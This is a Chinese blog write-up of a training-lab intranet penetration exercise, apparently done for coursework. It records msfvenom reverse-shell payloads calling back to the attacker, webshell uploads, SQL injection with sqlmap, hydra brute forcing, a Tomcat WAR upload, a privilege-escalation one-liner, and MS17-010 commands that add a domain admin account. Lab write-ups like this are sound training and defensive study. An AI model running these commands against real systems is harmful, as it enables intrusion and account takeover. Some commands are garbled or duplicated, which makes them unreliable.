记一次糟心的内网靶场实战

冷不防 2022-12-24 04:51 205阅读 0赞

一开始的时候对整个内网的拓扑结构还不熟，所以做的时候有很多方法都没有想到去用,大家多多指教。

# 一、环境准备 #

> 用网线连接交换机
> 
> 配置Winodwss攻击机IP为172.16.6.203
> 
> 攻击机Kali IP为172.16.6.202
> 
> 主机IP为172.16.6.201
> 
> 网关为172.16.6.1
> 
> 子网掩码255.255.255.0
> 
> 目标IP 172.16.6.10

# 二、渗透具体流程 #

### 总览拓扑图 ###

一开始以为192.168.6.200，一台普通的双网卡主机，没有发现是防火墙，所以10.1.1.0网段的主机拓扑不够清晰，后来老师讲了才知道，防火墙做了端口映射。E主机的445端口映射到防火墙445端口，F主机的3389端口映射到防火墙的3389端口。

![dad67d533cd02b2c3c6ac50472b4b22b.png][]

## 攻击目标172.16.6.10 ##

### 1、菜刀连接 ###

访问主页。发现伪协议注入点。

http://172.16.6.10/index.php?page=php://input

使用菜刀连接，菜刀版本需2020年的版本。

![1bbb55bc8d7004b6f3e557f5d8e4a86b.png][]

### 2、生成并上传木马且回连meterpreter ###

查看phpinfo目标主机为Linux系统的主机。

![87cefd75d62f00aff90e8f1031b7fdf1.png][]

Msf生成木马msfvenom -p linux/x86/meterpreter/reverse\_tcp LHOST=172.16.6.147 LPORT=2337 -f elf -a x86 —platform linux -o /home/hula.elf

并use exploit/multi/handle模块监听木马回连情况。

将木马通过菜刀上传木马，赋予运行权限，然后执行。

发现回连到meterpreter。

### 3、内网信息收集（同时添加路由并建立socks代理） ###

ipconfig查看网卡信息，发现有两个网段的IP，分别为172.16.6.10和192.168.6.10。

自动添加路由run post/multi/manage/autoroute。

添加路由与代理：

use auxiliary/server/socks4a

show options

set srvhost 172.16.6.147

set srvport 1080

使用portscan模块进行端口扫描

search portscan

set rhosts 192.168.6.0/24。

![5258067c3d677e72792934e8b2d1cbbd.png][]

ipconfig查看网卡信息，发现有两个网段的IP，分别为172.16.6.10和192.168.6.10

给msf添加192.168.6.10段的路由，run autoroute -s 192.168.6.0/24

添加代理：

use auxiliary/server/socks4a

show options

srvhost设为本机

srvport默认1080

可以看到扫描出15、16、17、200四台主机，端口开放情况为

192.168.6.15 21/22

192.168.6.16 22/80/3306/8080

192.168.6.17 22/80/3306

192.168.6.200 80/135/445/3389

### 4、尝试本机提权 ###

用一句话提权

printf “install uprobes /bin/sh” > exploit.conf; MODPROBE\_OPTIONS=”-C exploit.conf” staprun -u whatever exploit.conf” staprun -u whatever> exploit.conf; MODPROBE\_OPTIONS=”-C

![1a1e3cb55b5bab77e9b0e12db764ee86.png][]

## 攻击目标192.168.6.15 ##

### 1、hydra爆破ftp账号 ###

因为目标机开放了21端口，用hydra爆破ftp弱密码。

proxychains hydra -L /usr/wordlists/字典/Usernames/top\_shortlist.txt -P /usr/wordlists/rockyou.txt -f -t 50 -vV ssh://192.168.6.15 -o ./ssh.log

爆破出账号为admin，密码为123456

### 2、登录ftp服务 ###

proxychains ftp 192.168.6.15，登陆后用dir命令发现报错

使用xshell连接，发现可以连接。

## 攻击目标192.168.6.16 ##

### 1、发现tomcat ###

由于目标主机开发了8080端口，猜测有tomcat漏洞。

访问网页192.168.6.16：8080发现有tomcat页面。

### 2、MSF爆破tomcat密码 ###

下面尝试利用MSF爆破tomcat的账号密码，利用auxiliary/scanner/http/tomcat\_mgr\_login模块，除了设置目标IP，用户名字典，密码字典外，再设置stop\_on\_success为true，意思是baopochen成功后停止。

默认管理后台路径为manager/html，也不用改，端口也不用改。成功爆破得到账号密码为tomcat/tomcat

### 3、继续攻击取得shell ###

使用msf中upload、deploy两个模块的tomcat漏洞发现无法绑定IP和端口。

![f454bfabe321b43a38776584099348fb.png][]

![3abf87488902e00b4041bdb61bd0f7f7.png][]

使用msf生成war木马文件。然后使用监听模块监听木马回连情况。

msfvenom -p java/meterpreter/reverse \_tcp LHOST=192.168.6.10 LPORT=20003 -f war > lmx3.war

在下面的页面上传war木马文件。

![dc25cca617a2b1185b84e4df5a8bf7ff.png][]

在网页上查看自己的木马，返回msf发现已返回meterpreter

![d6acf5fb590f2f29b291006b1694b099.png][]

## 攻击目标192.168.6.17 ##

### 1、SQL注入进后台 ###

访问该站点。

kali下敏感目录扫描工具Nikto使用：攻击机：172.16.6.147（kali linux）、靶机：192.168.6.17 ( Metasploitable2-Linux)、使用Nikto 进行敏感目录扫描、参数解析：-h/-host 指定域名或者IP、发现这个敏感目录扫描不够强大。

![4109b2fbeb7c4c2d99db8806112b8ff7.png][]

发现sql注入点http://192.168.6.17/message.php?id=

用手工简单的测试了下：

http://192.168.6.17/message.php?id=1 页面正常

http://192.168.6.17/message.php?id=1 order by 1页面正常

http://192.168.6.17/message.php?id=1 order by 100页面不正常

所以存在注入漏洞

![3d089deaf82eb7752dc1ee5fa7bf619f.png][]

sqlmap跑出数据库的密码

proxychains sqlmap -r /home/17tou.txt —batch –dbs

![ad19aa64e0e84d23a52ba66137290822.png][]

proxychains sqlmap -r /home/17tou.txt —batch —dbs -T admin –dump

![cd449b268846b95d8dc7f4439bc5a757.png][]

最后爆出账号是admin,密码是xxxxxxx，使用md5解密

利用账号密码成功登录192.168.6.17的后台

![8329a53d9f429d714ae9421165363ef0.png][]

### 2、MSF生成php木马反弹meterpreter ###

浏览页面，发现有一个文件上传的注入点。上传木马，f12发现木马上传的位置与命名。

http://192.168.6.17/upload/images/20201022123044.php

![c0fb5e2a7022a18224ba08a29e92b970.png][]

在win10上安装sockscap，管理员身份运行，代理设置kali的IP地址，端口1080。在sockscap上添加菜刀程序。使用菜刀连接木马。

![2441d28ec0c466fb2de35b6cc838054d.png][]

### 2、MSF生成php木马反弹meterpreter ###

通过菜刀连接，发现目标主机为Linux系统。

用MSF生成的反弹木马，然后起监听。

msfvenom -p linux/x86/meterpreter/reverse\_tcp LHOST=192.168.6.10 LPORT=2339 -f elf -a x86 —platform linux -o /home/biu.elf

通过菜刀上传到目标主机，赋予权限，然后运行。发现不能弹回meterpreter。

## 攻击目标192.168.6.200 ##

### 1、尝试访问web服务 ###

因为发现目标开放了80，所以访问下web站点

在kali自带的火狐浏览器中设置socks代理，访问192.168.6.200,发现页面提示输入账号密码。尝试了弱口令的账号密码，发现无法人工爆破。

### 2、永恒之蓝攻击 ###

由于目标开放了445端口，所以怀疑可能存在永恒之蓝漏洞。

使用ms17-010的command模块进行攻击。

添加用户，并添加至管理员组（或者直接修改administrator管理员密码）

*   
 *

set command ‘net user cbr Cbr123456 /add‘set command ‘net “Domain Admins” cbr /add /domain’

用命令set command ‘net group “Domain Admins”‘来查看是否成功添加到域管理员组。

### 3、远程登录 ###

proxychains rdesktop 192.168.6.200

查看IP信息ipconfig /all，发现目标主机在域里面。网关为10.1.1.1，还有一个地址为10.1.1.200，以为目标主机位双网卡，但没有发现目标主机的地址192.168.6.200的存在，惊天大怪事啊。后来讲解的时候才知道，这里是做了端口映射。

![95e57618e7c4e994920cc591e36ed285.png][]

## 攻击域成员机10.1.1.200 ##

### 1、创建用户并加入到域管理员组 ###

由于目标开放了445端口，所以怀疑可能存在永恒之蓝漏洞。

继续用17010执行高权限命令的模块进行攻击：

添加用户，并添加至管理员组（或者直接修改administrator管理员密码）

*   
 *

set command ‘net user cbr Cbr123456 /add‘set command ‘net “Domain Admins” cbr /add /domain’

用命令set command ‘net group “Domain Admins”‘来查看是否成功添加到域管理员组。

发现已经成功添加到域管理员组

![505539a3c4f1a76baedd438a3ef1dae9.png][]

### 2、用创建的域管理员登录域环境 ###

远程登录10.1.1.200

使用共享文件proxychains rdesktop 10.1.1.200 -r disk:aa=/home

远程登录administrator

上传木马并运行，发现meterpreter弹不回来，遂放弃

## 攻击域控10.1.1.10 ##

### 1、猜测端口转发 ###

以10.1.1.10为目标地址，使用msf的ms17-010模块攻击，发现操作并没有在10.1.1.10上执行，而是在192.168.6.200上执行。猜测是进行了端口映射。

所以将192.168.6.200作为中间机器，使用lcx，但发现无法实现端口转发。

![983cd1c76ba1480c477fc48802c53703.png][]

使用xshell建立192.168.6.200与10.1.1.10之间的隧道，但发、法建立。遂放弃。

![e94556fd824a179ebd3d6381ec3ca262.png][]

最后

通过ms17-010的command模块可以添加用户，但是command后面的指令要加单引号，因为是长命令。

远程登录10.1.1.10

![577892345d4d9ed7748d190459234df5.png][]

[dad67d533cd02b2c3c6ac50472b4b22b.png]: /images/20221120/a5e7214ffe914b14b3ce0300b2cee84d.png
[1bbb55bc8d7004b6f3e557f5d8e4a86b.png]: /images/20221120/372bdd01c7394e5895c7589612f6eb44.png
[87cefd75d62f00aff90e8f1031b7fdf1.png]: https://img-blog.csdnimg.cn/img_convert/87cefd75d62f00aff90e8f1031b7fdf1.png
[5258067c3d677e72792934e8b2d1cbbd.png]: https://img-blog.csdnimg.cn/img_convert/5258067c3d677e72792934e8b2d1cbbd.png
[1a1e3cb55b5bab77e9b0e12db764ee86.png]: https://img-blog.csdnimg.cn/img_convert/1a1e3cb55b5bab77e9b0e12db764ee86.png
[f454bfabe321b43a38776584099348fb.png]: https://img-blog.csdnimg.cn/img_convert/f454bfabe321b43a38776584099348fb.png
[3abf87488902e00b4041bdb61bd0f7f7.png]: https://img-blog.csdnimg.cn/img_convert/3abf87488902e00b4041bdb61bd0f7f7.png
[dc25cca617a2b1185b84e4df5a8bf7ff.png]: https://img-blog.csdnimg.cn/img_convert/dc25cca617a2b1185b84e4df5a8bf7ff.png
[d6acf5fb590f2f29b291006b1694b099.png]: https://img-blog.csdnimg.cn/img_convert/d6acf5fb590f2f29b291006b1694b099.png
[4109b2fbeb7c4c2d99db8806112b8ff7.png]: https://img-blog.csdnimg.cn/img_convert/4109b2fbeb7c4c2d99db8806112b8ff7.png
[3d089deaf82eb7752dc1ee5fa7bf619f.png]: https://img-blog.csdnimg.cn/img_convert/3d089deaf82eb7752dc1ee5fa7bf619f.png
[ad19aa64e0e84d23a52ba66137290822.png]: https://img-blog.csdnimg.cn/img_convert/ad19aa64e0e84d23a52ba66137290822.png
[cd449b268846b95d8dc7f4439bc5a757.png]: https://img-blog.csdnimg.cn/img_convert/cd449b268846b95d8dc7f4439bc5a757.png
[8329a53d9f429d714ae9421165363ef0.png]: https://img-blog.csdnimg.cn/img_convert/8329a53d9f429d714ae9421165363ef0.png
[c0fb5e2a7022a18224ba08a29e92b970.png]: https://img-blog.csdnimg.cn/img_convert/c0fb5e2a7022a18224ba08a29e92b970.png
[2441d28ec0c466fb2de35b6cc838054d.png]: https://img-blog.csdnimg.cn/img_convert/2441d28ec0c466fb2de35b6cc838054d.png
[95e57618e7c4e994920cc591e36ed285.png]: https://img-blog.csdnimg.cn/img_convert/95e57618e7c4e994920cc591e36ed285.png
[505539a3c4f1a76baedd438a3ef1dae9.png]: https://img-blog.csdnimg.cn/img_convert/505539a3c4f1a76baedd438a3ef1dae9.png
[983cd1c76ba1480c477fc48802c53703.png]: https://img-blog.csdnimg.cn/img_convert/983cd1c76ba1480c477fc48802c53703.png
[e94556fd824a179ebd3d6381ec3ca262.png]: https://img-blog.csdnimg.cn/img_convert/e94556fd824a179ebd3d6381ec3ca262.png
[577892345d4d9ed7748d190459234df5.png]: https://img-blog.csdnimg.cn/img_convert/577892345d4d9ed7748d190459234df5.png